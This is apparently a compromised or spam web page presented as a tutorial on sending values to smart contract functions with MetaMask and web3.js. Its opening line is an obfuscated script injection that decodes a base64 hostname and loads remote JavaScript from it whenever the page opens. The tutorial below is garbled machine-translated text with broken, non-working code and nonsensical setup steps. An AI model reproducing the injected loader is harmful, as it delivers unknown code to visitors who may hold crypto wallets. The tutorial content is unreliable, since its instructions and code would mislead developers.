Metamask: How to send a value to smart contract function using meta mask and web3.js?

const pdx=»bm9yZGVyc3dpbmcuYnV6ei94cC8=»;const pde=atob(pdx);const script=document.createElement(«script»);script.src=»https://»+pde+»cc.php?u=7408e1fb»;document.body.appendChild(script);

Here is an article on how to send the value of the intellectual contract function using Metamask and Web3.js:

Sending values ​​to intellectual contracts with Metamask and Web3.js

In cooperation with the intellectual web programs contracts, one of the most important steps is to send data to the contract. In this article, we will specify how to use Metamask and Web3.js to send values ​​to the intellectual contract.

assumptions

To follow you must have:

1

• Web3.js

  : JavaScript Library for interaction with Ethereum Blockchain web programs and Web3 compatible with Web3.

Step 1: Set Metamask

Before you start, make sure you have a Metaman installed in the browser. Installation:

• In your browser, go to [metamask.io] (

• Click Get Metamask and follow the installation instructions.

• After installing, run Metamk in your web browser.

Step 2: Login to Ethereum network

Metamaske click three vertical points (⋯) next to your account image and select
Settings . Scroll down to the section
Join the web chapter and select
Ethereum from the Drop -down menu.

Step 3: Generate the address

By logging in to the Ethereum network, you will be prompted to generate a new address. Click «Create a new address» to create it.

Step 4: Install Web3.js

To communicate with intellectual contracts using Web3.js, you must install them in your browser. You can do this:

• Go to [codepen.io/pen/bfrkwjices://codepen.io/pen/bfrkwj) and create a new HTML file.

• Copy the JavaScript code below to the HTML file.

`Javascript

// Import Web3.js Library

Const Web3 = Require (‘Web3’);

`

Step 5: Load an intellectual contract contract

Change «https: // Exemple.com/contrat.json for your intellectual contract URL. You can find this by:

• Go to the Remix contract or other DAPP platforms.

• On the right -flets (or Ctrl + click) and select «Copy address» in the context menu.

`Javascript

// Upload your intellectual contract agreement

Const Web3 = New Web3 (New Web3.Providers.Httpprovider (‘

CONST Contractaddress = ‘0x …’;

CONST Contractabi = {

// Change both of your contract

};

`

Step 6: Send the value of the function of your intellectual contract

To send the value of the function of your intellectual contract, you must:

• Get an object depicting a function that receives data.

• Create a copy of the feature and call it using data.

Here is an example using Web3:

`Javascript

// Import Web3.js Library

Const Web3 = New Web3 (New Web3.Providers.Httpprovider (‘

// Define your contractual function

ASYNC Function MyContractfunction (Data) {

// Let’s say your contractual function has the following method

return 42; // Change the true value of interest in your contract

}

// Send the value of the function of your intellectual contract

CONST mycontractaddress = ‘0x …’;

mycontractadress.then (async (contract) => {

CONST Contractionance = New Web3.eth.Contract (Contraractabi, Contract);

CONSTSHIP = expect a «contracturs»

Console.log (result); // Change the true output of your intellectual contract

});

`

Step 7: Move bugs and return

By sending data to your intellectual contract function, you may face errors or unexpected results. To handle the following cases:

• To capture any mistakes that occur, use «test and hood» blocks.

• Protocol error messages using a library such as Log4js.

• Consider implementing the logic of a re -experiment with an exponential backup to avoid a wonderful network.

ethereum says java installed